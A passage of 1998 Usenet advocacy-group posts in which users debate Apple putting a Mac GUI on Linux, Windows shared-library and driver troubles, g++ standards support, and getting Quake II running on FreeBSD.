as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 21:22:56 GMT
Message-ID: <3688037e.12289418@news.demon.co.uk>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Mon, 21 Dec 1998 09:19:57 -0800, jedi@dementia.mishnet () wrote:
>On Mon, 21 Dec 1998 07:56:10 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>>>BTW, when did Apple ever say they were going to make a GUI for Linux?
>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>it could be put on top of Linux.
>>"Potentially" it could be put on top of a PlayStation. The
>>question is: who does it benefit? Not Apple, methinks.
>
> They benefit considerably. Linux users are the market they
> lost becuase their machines were price competitive with new
> pickup trucks
I like that!
> and not other microcomputer hardware.
>
> Like it or not, a PC user willing to give Linux a second look
> is still the type most likely to do the same for Apple.
They could produce a release. Configure Linux so it ran the AppleTalk
and other apple type stuff out of the box. Put a proprietary Mac-like
Window Manager and file manipulator on it (nobody says it would have
to be GPL). Sell it for 20 quid. Hell, I would buy it just to see what
it was like.
Wouldn't cost them much in manpower, especially if they took someone
else on board (like Red Hat/Suse/Slackware) to do the tech support for
the Linux bit.
Just an idea. Licensing available on request. ;-)
Regards
Anthony
--
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Date: Tue, 22 Dec 1998 13:22:31 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn7803cn.72v.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <slrn77suf7.ihs.jedi@dementia.mishnet> <75mcla$l15$1@news.ycc.yale.edu> <slrn77 <75ovvm$bp5$1@news.ycc.yale.edu>
On 22 Dec 1998 20:38:14 GMT, Adrian Cybriwsky <arc33@pantheon.yale.edu> wrote:
>tkc7.ksl.jedi@dementia.mishnet>
>Distribution:
>
>jedi@dementia.mishnet wrote:
>: On 21 Dec 1998 20:56:09 GMT, Adrian Cybriwsky <arc33@pantheon.yale.edu> wrote:
>: >jedi@dementia.mishnet wrote:
>: >: On Mon, 21 Dec 1998 16:01:48 GMT, westprog@my-dejanews.com <westprog@my-dejanews.com> wrote:
>
>: Comparitively speaking, it doesn't. Sticking your head
>: in the sand is not going to change that.
>
>
>well, i just checked my ears and they are sand-free. so perhaps you
>are referring to my computer (and by association, a multitude of others).
>indeed, perhaps my computer has its head in the sand to your charges,
>because for the life of it for all practical purposes, it doesn't have
>shared library problems anymore--and yes, this includes the machines that
>i use for software development.
>
>let's face it. shared library problems are becoming a thing of the past.
>this was an engineering problem a while back and there were strategies that
>did better or worse than others. but the problem is clearly solvable--and,
>at least in the windows world, almost entirely solved. in the linux world,
>in general it's less of a problem to begin with because shared libraries
>in general are an affront to everybody's god given right to have inconsistent
>uis, behaviors, apis, and so forth but the problems tend to be persistent
>and unsolvable (ie "no, you just can't have that and that on the same
>machine with such and such a kernel"). i have no doubt that it's getting
This is certainly news to me. Perhaps you are thinking of 1991
examples from linux... '-ppp
>better under linux, but when you complain about windows shared library
>problems, especially DLL issues, you must still be thinking it's 1991.
Windows simply didn't have sufficient performance at an
acceptable pricetag in 1991. So, I'm definitely not talking
from a circa '91 windows user point of view.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: Tue, 22 Dec 1998 13:32:12 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn7803us.7at.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com> <36800D8E.470E9E22@255.255.255.255>
On Tue, 22 Dec 1998 21:19:04 GMT, DrBoom <Nobody@255.255.255.255> wrote:
>Todd Bandrowsky wrote:
>>
>> >
>> > Consider Linux -- the writers of the Halloween Documents had
>> >conceded how high-quality it is. It has a reputation for being *much* more
>> >stable than M$ OSes -- _on_the_same_hardware_.
>>
>> First off, I'd take exception to making the sweeping statement "Linux is
>> more stable on the same hardware as Windows". In fact, I'd take exception
>> to the statement, "Linux is more stable on the same hardware as Windows 98".
>> Linux does not detect my mouse. Windows 98 does. Linux cannot support any
>> of my graphics cards IN ACCELERATED MODE: Diamond Fire/GL 1000Pro, Diamond
>> Stealth 220, and, it wasn't until two years after the Media GX shipped that
>> Linux could support it at all. Linux doesn't know about my Plug and Play
>> monitor serving X - that's really stupid. Nor does Linux have anything
>> vaguely resembling the real time audio mixing and screen memory blitting
>> services offered by Direct X. So, pretty much, all you Linux advocates are
>> saying is that Linux is an operating system that might be stabler on less
>> hardware because it can't use anything NEW.
>
>Heh. Sure -- I have a Stealth 220, and M$'s other product (NT -- you may
>have heard of it) doesn't do 3d acceleration with it... or if it does,
>the setup process is worse than any *nix. I was really thrilled when I
>replaced it with Voodoo2 and Matrox cards.... everything ran great until
>I wanted to change color depth to 16-bit. After the idiotic but required
>reboot, it complained about registry corruption..... hmmm.... re-reboot
>to the backup, and *that* registry was hosed too. Nice work, Micro$oft.
>This machine used to dual-boot NTW & win95..... Now it runs FreeBSD
>almost full-time, except for when I wanna play Quake][ under win95 --
>"Wintendo" is the best word I've yet seen to describe that pathetic OS.
>
>Soon, I won't even have to do that.... 3DLabs chips work under X with
>Q][ for Linux.
Why not just use the Linux/GL version of QII with that Voodoo?
>
>Oh, and another thing, try supporting a bunch of business clients who
>run win95/98. Phear and loathing in userland......
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 21:56:20 GMT
Organization: Primenet (602)416-7000
Message-ID: <75p4i4$q9v$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
<75m9mr$6n6$1@nnrp03.primenet.com> <367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com> <367ffd0f.0@stan.astra.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <75or9g$klr$1@nnrp02.primenet.com> John Jensen wrote:
: > I thought we were talkning about a format which would be used on MacOS X.
: Yes, the format will be used for MacOS X.
: To consider usage patters for MacOS X it seems reasonable to look at the
: closest equivalents today...
Sorry to be dense, but do you mean:
a) Because MacOS X usage will be unlike Macintosh usage (in that locally
stored applications will be unusual) we should use *step usage as a guide
to MacOS X design.
b) Because MacOS X usage will be like Macintosh (in that locally stored
applications will be typical) usage we should use Macintosh usage as a
guide to MacOS X design.
John
Message-ID: <36801E35.9F0C309D@255.255.255.255>
From: DrBoom <Nobody@255.255.255.255>
Organization: Usually lacking
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com> <36800D8E.470E9E22@255.255.255.255> <slrn7803us.7at.jedi@dementia.mishnet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 22 Dec 1998 22:30:24 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 14:30:24 PDT
jedi@dementia.mishnet wrote:
[snipped non-game (i.e. non-important) stuff]
>
> Why not just use the Linux/GL version of QII with that Voodoo?
>
I'm running FreeBSD 2.2.8. Q][ runs in X with Linux emu, but I have been
having "fun" getting it to talk to the V2 card. There is a hack floating
around that purports to make it fly, but so far no luck on my machine.
From what I've gathered, my best bet is to upgrade to fBSD 3.0 since
others have had more success with it.
I'm sticking with wintendo for now, until I have a little more time for
playing with both the installation and the game itself.
I think it's pretty amazing that something like Q][ will run under
emulation. Doing full-screen rendering in realtime impresses me more
than doing wysiwyg in WordPerfect.
-j
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Wed, 23 Dec 1998 10:45:24 +1100
Organization: OzEmail Ltd.
Message-ID: <75paui$9oq$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <slrn77veq3.529.jedi@dementia.mishnet>
>>>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>>>it could be put on top of Linux.
>>>c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>>>"Potentially" it could be put on top of a PlayStation. The
>>>>question is: who does it benefit? Not Apple, methinks.
>>jedi@dementia.mishnet wrote in message ...
>>> They benefit considerably. Linux users are the market they
>>> lost becuase their machines were price competitive with new
>>> pickup trucks and not other microcomputer hardware.
>Greg Alexander <galexand@ozemail.com.au> wrote:
>>In some ways yes, but mostly I disagree. I just don't see the people who
>>want Macs selecting Linux because of the added _relative_ complexity.
jedi@dementia.mishnet wrote in message ...
> The OS should be irrelevant in this case actually.
I misread what you said. My comment was saying that an Apple add on for
Linux wouldn't take most existing Mac users away, as there are still
configuration issues. Some technical users would switch though.
>>Apple benefits by selling more software, without the worry about drivers for
>>the multitude of Intel hardware (though Monitor & monitor card are still important)
>
> People are already handling that. There's simply no need for
> Apple to get involved there, just as there would be no need
> for that sort of thing with Be or WinDOS.
Are you saying Apple is already handling the multitude of Intel hardware - so
shouldn't involve Linux?
To me the thing is what are plus & minuses for Apple, and for Linux (and Linux users).
For Apple:
1) People who left Mac for Linux will buy the Mac interface (best of both worlds)
[similar sales to that for MacOS 8.5 upgrade I'd guess]
2) Some people willing to try MOSX will take Linux+Apple instead.
For Linux:
1) More applications (IF apple targets an add on that way, and has Carbon!)
2) Yet another interface - this is not good is it?
3) Linux has the power. Add the "Mac-ease-of-use" to Linux on desktop machines.
Just thoughts.
Greg
Sender: token@atlantis.informatik.uni-wuerzburg.de
In-reply-to: "Todd Bandrowsky"'s message of Tue, 22 Dec 1998 14:48:41 -0500
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com>
<3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com>
<petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com>
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Date: 23 Dec 1998 00:58:15 +0100
Message-ID: <ye0af0fybjc.fsf@atlantis.informatik.uni-wuerzburg.de>
Organization: Universitas Herbipolensis / Germany
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In article <367ff5a6.0@news.deniz.com>
"Todd Bandrowsky" <tbandrowsky@del.net> writes:
>Uhhm, If Linux is so great, how come G++ template support basically sucks
>and there is no namespaces? But I guess standards don't matter to the Unix
>community..
What does g++ have to do with the operating system?
--
Matthias K. Buelow * Long live the Thing King! *
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <_QZf2.665$fM1.20387@ptah.visi.com>
Date: Wed, 23 Dec 1998 03:55:38 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 21:55:38 CDT
"Todd Bandrowsky" <tbandrowsky@del.net> writes:
>>So why was a loose
>>community of volunteers able to do what (supposedly) the world's best
>>programming talent was unable to do?
>Uhhm, If Linux is so great, how come G++ template support basically sucks
>and there is no namespaces? But I guess standards don't matter to the Unix
>community..
Because the GCC maintainers didn't feel like breaking everyone's
programs every time the C++ standards committee changed it's mind (which
was a lot). This is a problem with the standards committee, not the GCC
maintainers.
Brian
Subject: Re: Apple-M$: Linux Nightmare?
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <slrn77veq3.529.jedi@dementia.mishnet> <75paui$9oq$1@reader1.reader.news.ozemail.net>
In-Reply-To: <75paui$9oq$1@reader1.reader.news.ozemail.net>
From: ix@ix.ix
Message-ID: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net>
Date: Wed, 23 Dec 1998 04:30:12 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 20:30:12 PDT
Organization: SBC Internet Services
On 12/22/98, "Greg Alexander" wrote:
>>>>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>>>>it could be put on top of Linux.
OSX is already on BSD Unix. What is the significant difference between BSD and
Linux other than hype? I doubt most Linux users have a good answer for
this question.
Steve
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 22 Dec 1998 23:03:50 -0800
Organization: Archimedes Plutonium Grepping Society
Message-ID: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Greg Alexander <galexand@ozemail.com.au> wrote:
>If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
>easily installing them!) there are many people who'd buy it. Until YB programs
>are more common (or Carbon portable), an AppleGUI would still be a good,
>clean interface to use Linux with (but would need X windows!)
That would certainly get my attention the next time I'm looking for a computer.
Apple *knows* how to do this. Consider:
(1) With A/UX, they had Mac OS running under Unix, and almost all Mac
applications ran perfectly. Those that didn't were almost all ones that were
not 32-bit clean. That's not a problem today.
(2) With MAE, that had Mac OS running on an emulated CPU under Unix using X
for the display.
Thus, they have plenty of experience with making the Mac GUI and Mac
applications work on Unix.
Plus, they've got the NeXT people, which gives them even more experience on
making a GUI that runs on a Unix system.
What I'd like to see is for Apple to get rid of MacOS as a stand-alone OS.
Turn MacOS into MacOE ("Macintosh Operating Environment"), which would
initially be available for Mac hardware running LinuxPPC.
Concurently, Apple should do a Linux distribution whose sole purpose is to
be a base upon which to run MacOE. What this distribution would have is:
1. The kernel
2. Modular drivers for all Apple peripherals
3. An X server
4. MacOE
5. All the normal things that come with MacOS (Finder, etc).
6. The usual Unix command line tools would be available, but not
necessary.
7. A nice graphical front end to RPM (or perhaps to Debian's package
system) that runs under MacOE.
This would come installed on new Macs. To the end user, it would look a lot
like today's Macs look--you turn it on, and when it finishes booting, you are
in Finder.
Those who want to take advantage of Unix would be free to install other Unix
stuff (smtp servers, web servers, etc.).
--Tim Smith
From: c hand <ch3@earthlink.net.rem.ove.this>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 22 Dec 1998 16:46:33 -0800
Organization: LightRealm Communications, Seattle Washington
Message-ID: <36803D69.CC39EDEB@earthlink.net.rem.ove.this>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <75n3c8$ls6@news1.panix.com> <FIiROLCWddLd-pn2-LwqmLvULXn40@localhost>
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> >
> > I would not consider "rescued PCs" to be a valid growth market for YB.
>
> OK. Where are the growth markets for YB that you would find valid?
>
Get in your car. Drive down to your nearest major city. Park. Get
out of your car. Find a nice position on a downtown sidewalk. Now,
look up.
> >
> > I hope Apple has been hiring for Apple's sake, not the sake of some OpenSource
> > jihad. The last thing I want to hear from Steve Jobs is a rehash of that 1984
> > rhetoric. I refused to get involved with it when I was a mac user, I'm not
> > going to get involved now.
>
> I doubt Sun,
Sun is saving their hardware business while Linux eats away at Solaris.
> Netsc...eh, AOL,
Tangible benefits/results? Long-term prospects?
> IBM,
Attempting to remove control from third-party vendors(Sun.) Make their
money on the other end in corporate support contracts.
> Oracle,
Working to fend off/delay the development and competition of free
high-end databases.
> Corel
Dying company's desparate move, that thus far has kept them in business.
> I've been largely interested in
> hypothetical discussion on Yellow Box 'proliferation' (survival)
> issues
YB survival is not in question, unless you've allowed yourself
to feed into the FUD arguments that have little basis in fact.
> and where open sourcing might prove mutually beneficial to
> Apple and... Linux.
I *still* haven't heard anyone make a proposal that met this
requirement.
> Call it tribalism or whatever, but I feel that
> there is indeed resistance among the NeXT and Mac supporters
> towards... something. Change? Losing the status as being the apple in
> Apple's eyes?
First you're likely overestimating Linux's importance. When you calm
down
a bit and look at where Linux is selling and who's using it, you'll see
that it's a direct competitor to the market that Apple wants with
OSX/S.
Now, you're proposing that Apple should give away their advantage over
Linux? Because Linux is some sort of unstoppable force?
As to your contention of 'resistance,' this is patently false. In fact,
there was a quite sound and reasonable Open Source proposal made many
months ago that is available at: http://www.of.org/rhaptel/
> I dunno, but there would appear to be more scepticism
> than support for opening YB and promoting it on platforms other than
> those already under umbrella.
Actually, I think there's skepticism regarding some of the arguments
that have been made.
>Pardon my slight
> exaggeration (and it wasn't targeted at anyone in particular), but one
> can only swim against the current for so long until the inevitable.
And Linux is that current, eh? Forgive me for not being convinced.
At least not by the arguments presented here..
--
regards : colin hand : mailto:ch3@earthlink.net
From: c hand <ch3@earthlink.net.rem.ove.this>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 16:04:20 -0800
Organization: LightRealm Communications, Seattle Washington
Message-ID: <36803384.7175DF0F@earthlink.net.rem.ove.this>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <slrn77veq3.529.jedi@dementia.mishnet> <75paui$9oq$1@reader1.reader.news.ozemail.net>
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Greg Alexander wrote:
> To me the thing is what are plus & minuses for Apple, and for Linux (and Linux users).
> For Apple:
> 1) People who left Mac for Linux will buy the Mac interface (best of both worlds)
> [similar sales to that for MacOS 8.5 upgrade I'd guess]
> 2) Some people willing to try MOSX will take Linux+Apple instead.
>
Neither of these look to be "benefits" for Apple. Certainly not
worth the engineering dollars or lost OSX/S sales it would mean.
> For Linux:
> 1) More applications (IF apple targets an add on that way, and has Carbon!)
> 2) Yet another interface - this is not good is it?
> 3) Linux has the power. Add the "Mac-ease-of-use" to Linux on desktop machines.
>
The question isn't whether it would benefit Linux. That much is clear.
The point of contention is that it would *only* benefit Linux, and not
Apple.
--
regards : colin hand : mailto:ch3@earthlink.net
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: Tue, 22 Dec 1998 15:48:19 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn780bu3.83n.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com> <36800D8E.470E9E22@255.255.255.255> <slrn7803us.7at.jedi@dementia.mishnet> <36801E35.9F0C309D@255.255.255.255>
On Tue, 22 Dec 1998 22:30:24 GMT, DrBoom <Nobody@255.255.255.255> wrote:
>jedi@dementia.mishnet wrote:
>
>[snipped non-game (i.e. non-important) stuff]
>
>>
>> Why not just use the Linux/GL version of QII with that Voodoo?
>>
>
>I'm running FreeBSD 2.2.8. Q][ runs in X with Linux emu, but I have been
>having "fun" getting it to talk to the V2 card. There is a hack floating
>around that purports to make it fly, but so far no luck on my machine.
You mean the linux glide port?
>From what I've gathered, my best bet is to upgrade to fBSD 3.0 since
>others have had more success with it.
>
>I'm sticking with wintendo for now, until I have a little more time for
>playing with both the installation and the game itself.
>
>I think it's pretty amazing that something like Q][ will run under
>emulation. Doing full-screen rendering in realtime impresses me more
>than doing wysiwyg in WordPerfect.
Why emulate, just run the native client.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: c hand <ch3@earthlink.net.rem.ove.this>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 22 Dec 1998 16:18:26 -0800
Organization: LightRealm Communications, Seattle Washington
Message-ID: <368036D2.68EA214@earthlink.net.rem.ove.this>
References: <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net>
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John Moreno wrote:
>
>
> I meant that for Mac programmers it's a totally new framework -- and
> even keeping OS in mind it's still mainly a framework for vaporware as
> the fate of any future market is uncertain.
>
Huh?
"a framework for vaporware"? What does that mean? And why
is the fate of any "future market" uncertain? Just two
weeks ago Jobs publicly commited to the technology. What's
so "uncertain?"
--
regards : colin hand : mailto:ch3@earthlink.net
Message-ID: <36803829.96A77B3A@klassy.com>
Date: Tue, 22 Dec 1998 16:24:09 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <ngroups-0412980941310001@192.168.100.102> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this>
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c hand wrote:
> John Moreno wrote:
> >
> >
> > I meant that for Mac programmers it's a totally new framework -- and
> > even keeping OS in mind it's still mainly a framework for vaporware as
> > the fate of any future market is uncertain.
> >
>
> Huh?
>
> "a framework for vaporware"? What does that mean? And why
> is the fate of any "future market" uncertain? Just two
> weeks ago Jobs publicly commited to the technology. What's
> so "uncertain?"
>
> --
> regards : colin hand : mailto:ch3@earthlink.net
Recall when Jobs "publicly commited" to the Newton?
Message-ID: <36803FC2.2960DB67@255.255.255.255>
From: DrBoom <Nobody@255.255.255.255>
Organization: Usually lacking
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
